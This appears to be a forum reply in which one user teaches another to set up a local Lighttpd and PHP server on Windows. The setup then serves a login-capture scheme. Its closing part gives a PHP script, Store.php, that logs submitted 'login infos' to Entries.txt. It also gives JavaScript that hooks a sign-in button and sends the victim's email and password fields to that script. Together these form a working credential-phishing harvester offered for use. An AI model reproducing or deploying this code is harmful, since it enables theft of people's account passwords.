Winneris1 wrote: |
---|
that would be great but I'd like to learn from you some things if you have the time. |
Surely.
Now, from the basics.
When you browse a website, you are really making a connection to another PC in the world,
asking him an HTML page (or a file to download, which is basically the same).
This PC you're making a connection to, is called a server. (Almost every PC can be a server)
This server, just like you, has its own IP (say 100.50.20.10, just as example), but must have the a port open to the public.
(Now, you can get their IP from their name, like, from www.google.com. But that's over our visions, we don't need that)
Opening port 80 (HTTP, web port) is usually very dangerous if made improperly.
To make your PHP website safer for tests and password-related things, you should keep your ports closed, and run it on your own machine, accessing it with "localhost".
Localhost is not a word I made up.
Actually, if you're running a web server, to load its pages you actually go to
http://localhost/
It will redirect you to your own website (as long as the server is running).
What's different? Nothing.
But for your "localhost" server, only YOUR PC has access to the server.
Now, this is out of the php scope. You won't be needing it so much, all you need to know is that running a localhost server is safer for you and your internet connection.
(What are the risks of running your server publicly? Mainly DDoS:
https://en.wikipedia.org/wiki/Denial-of-service_attack )
So, Let's set up your localhost server.
First things first:
I'll assume you're using Windows.
Download the right shyte:
You will need a decent and light webserver to handle connections.
I personally use Lighttpd, here you can find the compiled version:
http://en.wlmp-project.net/downloads.php?cat=lighty&type=ssl&format=exe&mirror=dtech
Then, you will need the php preprocessor:
http://windows.php.net/download/ (VC9, Non Thread Safe)
You will need to change your folders structure to meet these files requirements:
C:\php\php-cgi.exe
C:\Program Files\LightTPD\conf\lighttpd.conf
...I'm pretty sorry I'll break the message here but i'm really tired.
All that comes after this part is just editing two configuration files and start to build your server.
EDIT: So, I'm here.
Now, now.
1. Rename C:\php\php.ini-production to php.ini
This allows for PHP to run in the fastest way possible
2. Open C:\Program Files\LightTPD\conf\lighttpd.conf with any text editor
We will need to change lighttpd's settings and plugins
3. Uncomment the line
"mod_cgi",
(line 20 here)
mod_cgi is what will communicate with php.
4. Add this line, after server.modules( * )
cgi.assign = ( ".php" => "C:/php/php-cgi.exe" )
. Note: You need to have no spaces in this filename.
This line tells mod_cgi that files ending in .php must be handled with the PHP CGI executable.
In case you are unable to edit lighttpd.conf, here is one, ready for you:
https://dl.dropboxusercontent.com/u/83943521/publicaccess/Files/lighttpd.conf
After this, your server is ready and you only need to make the scripts.
Travel to C:\Program Files\LightTPD\htdocs
Create a file, Store.php, and copy-paste this:
1 2 3 4 5 6
|
<?php
if(isset($_GET['d']))
{
file_put_contents('Entries.txt',$_GET['d']."\n",FILE_APPEND|LOCK_EX);
}
?>
|
Now, to explain it:
<?php *** ?>
This simply tells PHP that, what is "***" must be interpreted as executable code. PHP will only handle code inside
<?php ?>
.
if(isset($_GET['d']))
Here, you need to understand what _GET is.
_GET is what takes parameters from the url bar. You will be able to send informations from javascript, and they will end up into _GET.
If we have valid informations, continue.
file_put_contents('Entries.txt',$_GET['d']."\n",FILE_APPEND|LOCK_EX);
Here, we will have a file, Entries.txt, that will contain any login informations we will send from javascript.
FILE_APPEND makes sure you don't delete the old login infos.
LOCK_EX makes it safer.
Now, the server-side is ready.
We need to tweak the javascript a bit.
Your new javascript code will be now:
document.getElementById('signIn').onclick=function(){$.ajax({url:"http://localhost/Store.php?d="+escape('Mail: "'+document.getElementById('Email').value+'", Pass: "'+document.getElementById('Passwd').value+'"'),type:"GET",async:false});}
_____________
Now, for the questions, I guess.
Because I'm sure some things won't be clear.